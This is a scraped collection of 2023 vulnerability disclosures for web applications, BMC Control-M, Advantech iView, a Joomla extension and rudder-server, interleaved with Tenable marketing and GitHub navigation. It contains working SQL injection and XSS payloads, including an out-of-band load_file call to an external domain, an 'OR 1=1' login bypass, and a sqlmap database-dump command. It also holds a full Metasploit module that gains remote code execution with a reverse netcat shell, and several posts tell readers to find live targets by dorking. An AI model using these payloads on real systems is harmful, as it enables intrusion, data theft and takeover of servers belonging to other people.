Online Lab Diagnostic Management version 1.0 suffers from a remote SQL injection vulnerability.

    ## Title: Online-Diagnostic-Lab-Management v1.0 Multiple-SQLi## Author: nu11secur1ty## Date: 08/01/2023## Vendor: https://www.youtube.com/watch?v=0nA5xfQ5G0g## Vendor: https://www.youtube.com/@MayuriK## Software: https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html## Reference: https://portswigger.net/web-security/sql-injection## Description:The username parameter appears to be vulnerable to SQL injectionattacks. The payload '+(selectload_file('\\\\im86pxgqgu4kxgnpybjcpvwu1l7ev5qthw5oseg3.mnootupaputkaiisaebeqko.com\\mas'))+'was submitted in the username parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed. The attacker can steal all information from the databasevery easily.STATUS: HIGH-CRITICAL Vulnerability[+]Payload:```mysql---Parameter: username (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: username=-2553' OR 3590=3590-- aPlO&password=y4S!v5f!S4&login=    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: username=hMRUaqVg'+(selectload_file('\\\\im86pxgqgu4kxgnpybjcpvwu1l7ev5qthw5oseg3.mnootupaputkaiisaebeqko.com\\mas'))+''AND (SELECT 2815 FROM (SELECT(SLEEP(15)))TjiG)--NgnE&password=y4S!v5f!S4&login=---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Online-Diagnostic-Lab-Management-1.10)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/07/online-diagnostic-lab-management-v10.html)## Time spend:00:35:00

Online Diagnostic Lab Management 1.0 SQL Injection

CoolAdmin version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : CoolAdmin 1.0 Auth By Pass Vulnerability                                                                           || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Vendor    : https://colorlib.com/                                                                                              |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : User & Pass = ADMIN' OR 1=1#[+] Panel : http://wwcddsakoncom/home.phpGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

CoolAdmin 1.0 SQL Injection

City Variety LMS version 2.2 suffers from a cross site scripting vulnerability.

**City Variety LMS 2.2 Cross Site Scripting**

Posted Aug 1, 2023

Authored by indoushka

City Variety LMS version 2.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 1cbbe0f2970a91c54fd6b773983a7f83c535dbf1c4e56f12913660cbe435877e

Download | Favorite | View

**City Variety LMS 2.2 Cross Site Scripting**

    ====================================================================================================================================| # Title     : cityvariety LMS 2.2 XSS Vulnerability                                                                              || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Vendor    : https://www.cityvariety.co.th/                                                                                     |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /news/download/?file=files/com_news/2023-05_df55c087b4d33c8.pdf'%22()%26%25<acx><ScRiPt%20>prompt(980997)</ScRiPt>&id=2481&name=[+] https://wwsesaogoth/news/download/?file=files/com_news/2023-05_df55c087b4d33c8.pdf%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(980997)%3C/ScRiPt%3E&id=2481&name=Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,831)
*   Arbitrary (16,174)
*   BBS (2,859)
*   Bypass (1,738)
*   CGI (1,026)
*   Code Execution (7,261)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,337)
*   DoS (23,388)
*   Encryption (2,369)
*   Exploit (51,723)
*   File Inclusion (4,219)
*   File Upload (970)
*   Firewall (821)
*   Info Disclosure (2,759)
*   Intrusion Detection (892)
*   Java (3,038)
*   JavaScript (855)
*   Kernel (6,661)
*   Local (14,445)
*   Magazine (586)
*   Overflow (12,668)
*   Perl (1,423)
*   PHP (5,141)
*   Proof of Concept (2,338)
*   Protocol (3,596)
*   Python (1,532)
*   Remote (30,710)
*   Root (3,578)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,638)
*   Security Tool (7,882)
*   Shell (3,178)
*   Shellcode (1,213)
*   Sniffer (894)
*   Spoof (2,197)
*   SQL Injection (16,335)
*   TCP (2,402)
*   Trojan (687)
*   UDP (889)
*   Virus (664)
*   Vulnerability (31,731)
*   Web (9,634)
*   Whitepaper (3,748)
*   x86 (962)
*   XSS (17,892)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,922)
*   Debian (6,800)
*   Fedora (1,691)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,326)
*   Mac OS X (685)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (484)
*   RedHat (13,644)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,787)
*   UNIX (9,281)
*   UnixWare (186)
*   Windows (6,566)
*   Other

City Variety LMS 2.2 Cross Site Scripting

Online Shopping Portal Project v3.1 was discovered to contain a SQL injection vulnerability via the Email parameter at /shopping/login.php.

E-commerce means any transaction over the internet.  
In online marketing, a shopping cart is a piece of e-commerce software on a web server that allows visitors to an Internet site to select items for eventual purchase, analogous to the American English term “shopping cart.” In British English, it is generally known as a shopping basket, almost exclusively shortened on websites to “basket.”  
The software allows online shopping customers to accumulate a list of items for purchase, described metaphorically as “placing items in the shopping cart” or “add to cart.” Upon checkout, the software typically calculates a total for the order, including shipping and handling (i.e., postage and packing) charges and the associated taxes, as applicable.

**Project Name**

Online Shopping Portal in Php

**Language Used**  

PHP5.6, PHP7.x

**Database**

MySQL 5.x

**User Interface Design**  

HTML, AJAX,JQUERY,JAVASCRIPT

**Web Browser**

Mozilla, Google Chrome, IE8, OPERA

**Software**

XAMPP / Wamp / Mamp/ Lamp (anyone)

**Last Updated**

**19 May 2020**

**Online Shopping Portal Pro Version**

**Features of the Online Shopping Portal Project in Php**

1.  User Registration
2.  User login system
3.  Change password
4.  Forgot password
5.  Profile management system.
6.  Shopping cart
7.  Wishlist
8.  Order History

**Features of Admin**

1.  Product Management(Add,Update, Delete)
2.  Order Management System
3.  User Management
4.  Category/ Sub Category Creation and many more

**How to run this Project**

1.  Download the project and unzip the file.
2.  Create database “shopping”.
3.  Import the database file( Database will be avail in the package)
4.   Link for the project: http://localhost/shopping
5.  Link for admin Panel: http://localhost/shopping/admin

**Login Details For User :**  
**Username**: anuj.lpu1@gmail.com  
**Password** : Test@123  
**For Admin :**  
**User Name:** admin  
**Password:** Test@123

**Demo and Configuration Videos**

**Download Source Code (Shopping Portal)**

**Size: 26.7 MB**

**Version: V 3.1**

**Project  Report**

**Online Shopping Portal Pro Version**

Anuj Kumar

Hi! I am Anuj Kumar, a professional web developer with 5+ years of experience in this sector. I found PHPGurukul in September 2015. My keen interest in technology and sharing knowledge with others became the main reason for starting PHPGurukul. My basic aim is to offer all web development tutorials like PHP, PDO, jQuery, PHP oops, MySQL, etc. Apart from the tutorials, we also offer you PHP Projects, and we have around 100+ PHP Projects for you.

CVE-2023-37772: Online Shopping Portal Project in Php|E-commerce Online Shopping Portal

BMC Control-M Software v9.0.20.200 was discovered to contain a SQL injection vulnerability via the report-id parameter at /report/deleteReport.

**BMC Control-M Unauthenticated SQL Injection**

**BMC Control-M Unauthenticated SQL Injection Version < 9.0.20.200**

**Timeline:**  
**Vulnerability reported to vendor:** 26.08.2022  
**New fixed 9.0.21 version released:** 12.09.2022  
**Patch for version 9.0.20.200 released:** 21.12.2022  
**Disclosure:** 05.06.2023

**Affected Products:**  
BMC Control-M software up to (including) 9.0.20.200 . Vulnerability found and confirmed in version 9.0.20.100, information about patch in version 9.0.20.200 comes from the vendor.

BMC Control-M software versions up to (including) 9.0.20.200 are vulnerable to Unauthenticated SQL Injection.  
Vulnerable parameter _report-id_ is present within _/RF-Server/report/deleteReport_ endpoint.

Below is the Proof of Concept request which triggers a 10 seconds delay:

    DELETE /RF-Server/report/deleteReport?report-id=’+waitfor+delay+’0:0:10’--
    Host: [REDACTED]
    Connection: close
    user-id: X
    Accept: application/json, text/plain, */*
    server-name:
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: X
    

Additional Info: _Cookie_ and _user\_id_ headers must be present, but the value can be random.  
Screenshot from BurpSuite:  

**Steps to dump the database:**  
Save the above request (without the payload) to a file request.txt :

    DELETE /RF-Server/report/deleteReport?report-id=1
    Host: [REDACTED]
    Connection: close
    user-id: X
    Accept: application/json, text/plain, */*
    server-name:
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: X
    

Execute following _sqlmap_ command:

    sqlmap -r request.txt -p report-id —-no-cast —-dbs 
    

Screenshot of extracted database structure:

CVE-2023-39122: GitHub - DojoSecurity/BMC-Control-M-Unauthenticated-SQL-Injection: BMC Control-M Unauthenticated SQL Injection

An authenticated SQL injection vulnerability exists in Advantech iView versions prior to v5.7.4 build 6752. An authenticated remote attacker can bypass checks in com.imc.iview.utils.CUtils.checkSQLInjection() to perform blind SQL injection.

_All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability._

_Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order._

_For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page._

_If you have questions or corrections about this advisory, please email \[email protected\]_

Tenable Advisory ID

TRA-2023-24

CVSSv3 Base / Temporal Score

CVSSv3 Vector

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Products

Advantech iView < v5.7.4 build 6752

**Tenable Vulnerability Management**

_Formerly Tenable.io_

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin, Tenable Web App Scanning and Tenable Cloud Security.

**Tenable Vulnerability Management**

_Formerly Tenable.io_

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. **Purchase your annual subscription today.**

65 assets

Choose Your Subscription Option:

**Thank You**

Thank you for your interest in Tenable.io. A representative will be in touch soon.

**Try Tenable Nessus Professional Free**

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

**NEW - Tenable Nessus Expert  
Now Available**

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. **Click here to Try Nessus Expert.**

Fill out the form below to continue with a Nessus Pro Trial.

**Buy Tenable Nessus Professional**

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin, Tenable Web App Scanning and Tenable Cloud Security.

Tenable.io

BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. **Purchase your annual subscription today.**

65 assets

Choose Your Subscription Option:

**Thank You**

Thank you for your interest in Tenable.io. A representative will be in touch soon.

**Try Tenable Web App Scanning**

_Formerly Tenable.io Web Application Scanning_

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. **Sign up now.**

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management, Tenable Lumin and Tenable Cloud Security.

**Buy Tenable Web App Scanning**

_Formerly Tenable.io Web Application Scanning_

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. **Purchase your annual subscription today.**

**Try Tenable Lumin**

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management, Tenable Web App Scanning and Tenable Cloud Security.

**Buy Tenable Lumin**

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

**Thank You**

Thank you for your interest in Tenable Lumin. A representative will be in touch soon.

**Request a demo of Tenable Security Center**

_Formerly Tenable.sc_

Please fill out this form with your contact information.

A sales representative will contact you shortly to schedule a demo.

_\* Field is required_

**Request a demo of Tenable OT Security**

_Formerly Tenable.ot_

Get the Operational Technology Security You Need.

Reduce the Risk You Don’t.

**Request a demo of Tenable Identity Exposure**

_Formerly Tenable.ad_

Continuously detect and respond to Active Directory attacks. No agents. No privileges.

On-prem and in the cloud.

**Try Tenable Cloud Security**

_Formerly Tenable.cs_

Enjoy full access to detect and fix cloud infrastructure misconfigurations and view runtime vulnerabilities. Sign up for your free trial now. To learn more about the trial process click here.

Your Tenable Cloud Security trial also includes Tenable Vulnerability Management, Tenable Lumin and Tenable Web App Scanning.

**Contact a Sales Rep to Buy Tenable Cloud Security**

Contact a Sales Representative to learn more about Tenable Cloud Security and see how easy it is to onboard your cloud accounts and get visibility into both cloud misconfigurations and vulnerabilities within minutes.

**Thank You**

Thank you for your interest in Tenable.cs. A representative will be in touch soon.

**See  
Tenable One  
In Action**

Exposure management for the modern attack surface.

**See Tenable Attack Surface Management In Action**

_Formerly Tenable.asm_

Know the exposure of every asset on any platform.

**Thank You**

Thank you for your interest in Tenable Attack Surface Management. A representative will be in touch soon.

**Try Tenable Nessus Expert Free**

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

**Already have Tenable Nessus Professional?**  
Upgrade to Nessus Expert free for 7 days.

**Buy Tenable Nessus Expert**

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

**Try Nessus Expert Free**

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

**Already have Nessus Professional?**  
Upgrade to Nessus Expert free for 7 days.

**Buy Tenable Nessus Expert**

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

CVE-2023-3983: Authenticated SQL Injection in Advantech iView

This Metasploit module exploits a SQL injection vulnerability in RudderStack's rudder-server, an open source Customer Data Platform (CDP). The vulnerability exists in versions of rudder-server prior to 1.3.0-rc.1. By exploiting this flaw, an attacker can execute arbitrary SQL commands, which may lead to remote code execution due to the rudder role in PostgreSQL having superuser permissions by default.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::FileDropper  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Rudder Server SQLI Remote Code Execution',        'Description' => %q{          This Metasploit module exploits a SQL injection vulnerability in          RudderStack's rudder-server, an open source Customer Data Platform (CDP).          The vulnerability exists in versions of rudder-server prior to 1.3.0-rc.1.          By exploiting this flaw, an attacker can execute arbitrary SQL commands,          which may lead to Remote Code Execution (RCE) due to the `rudder` role          in PostgreSQL having superuser permissions by default.        },        'License' => MSF_LICENSE,        'Author' => [          'Ege Balcı <egebalci@pm.me>' # msf module        ],        'References' => [          ['CVE', '2023-30625'],          ['URL', 'https://securitylab.github.com/advisories/GHSL-2022-097_rudder-server/'],          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-30625'],        ],        'DefaultOptions' => {          'SSL' => false,          'WfsDelay' => 5        },        'Platform' => [ 'unix', 'linux' ],        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],        'Targets' => [          [            'Unix Command',            {              'Platform' => %w[unix linux],              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_netcat'              }            }          ],          # Due to the insufficient build instructions for Windows platforms, no testing were done on this platform.          # As a result, the target is disabled in this exploit module.          # [          #   'Windows Command',          #   {          #     'Platform' => 'win',          #     'Arch' => ARCH_CMD,          #     'Type' => :win_cmd,          #     'DefaultOptions' => {          #       'PAYLOAD' => 'cmd/windows/powershell_reverse_netcat'          #     }          #   }          # ],        ],        'DefaultTarget' => 0,        'Privileged' => false,        'DisclosureDate' => '2023-06-16',        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(8080),        OptString.new('TARGETURI', [true, 'The URI of the Rudder API', '/']),      ]    )  end  def check    version = get_version    return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown'    if Rex::Version.new('1.3.0-rc.1') > Rex::Version.new(version.gsub('v', ''))      return Exploit::CheckCode::Appears("Rudder Version: #{version}")    end    Exploit::CheckCode::Safe  end  def get_version    return @get_version if @get_version    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'version')    )    if res && res.code == 200      @get_version = res.get_json_document['Version']      if @get_version.empty?        @get_version = 'Unknown'      end      @get_version    end  end  def exploit    print_status "Detected rudder version: #{get_version}"    # If not 'Auto' then use the selected version    case target['Type']    # when :win_cmd    #   shell = 'cmd.exe'    when :unix_cmd      shell = 'bash'    else      fail_with(Failure::BadConfig, 'Please select a valid target')    end    data = "{\"source_id\": \"#{Rex::Text.rand_text_alpha(4..8)}'; copy (SELECT '#{payload.encoded}') to program '#{shell}'-- - \"}"    print_status 'Triggering RCE via crafted SQL query...'    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/v1/warehouse/pending-events'),      'ctype' => 'application/json',      'data' => data    })  endend

Rudder Server SQL Injection / Remote Code Execution

Art Gallery Management System v1.0 contains a SQL injection vulnerability via the cid parameter at /agms/product.php.

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Search code, repositories, users, issues, pull requests...**

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

CVE-2023-37771: CVE-2023-37771/CVE at main · anky-123/CVE-2023-37771

Joomla iProperty Real Estate extension version 4.1.1 suffers from a cross site scripting vulnerability.

    # Exploit Title: Joomla iProperty Real Estate 4.1.1 - Reflected XSS# Exploit Author: CraCkEr# Date: 29/07/2023# Vendor: The Thinkery LLC# Vendor Homepage: http://thethinkery.net# Software Link: https://extensions.joomla.org/extension/vertical-markets/real-estate/iproperty/# Demo: https://iproperty.thethinkery.net/# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site ## GreetingsThe_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka  CryptoJob (Twitter) twitter.com/0x0CryptoJob## DescriptionThe attacker can send to victim a link containing a malicious URL in an email or instant messagecan perform a wide variety of actions, such as stealing the victim's session token or login credentialsPath: /iproperty/property-views/all-properties-with-mapGET parameter 'filter_keyword' is vulnerable to XSShttps://website/iproperty/property-views/all-properties-with-map?filter_keyword=[XSS]&option=com_iproperty&view=allproperties&ipquicksearch=1XSS Payload: pihil"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"f63m4[-] Done

Joomla iProperty Real Estate 4.1.1 Cross Site Scripting

CMVC SHOP LMS version 2.1.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : CMVC SHOP LMS v 2.1.0 Sql injection Vulnerability                                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 74.0(32-bit)                                               | | # Vendor    : http://www.cmvcshop.com/                                                                                           |  | # Dork      : All rights reserved CMVC SHOP                                                                                      |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : product_detail.php?productid=%Inject_Here%106[+] http://127.0.0.1/cmvcshopcom/product_detail.php?productid=%Inject_Here%106[+] http://127.0.0.1/wwwcmvcshopcom/login.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Tag

#sql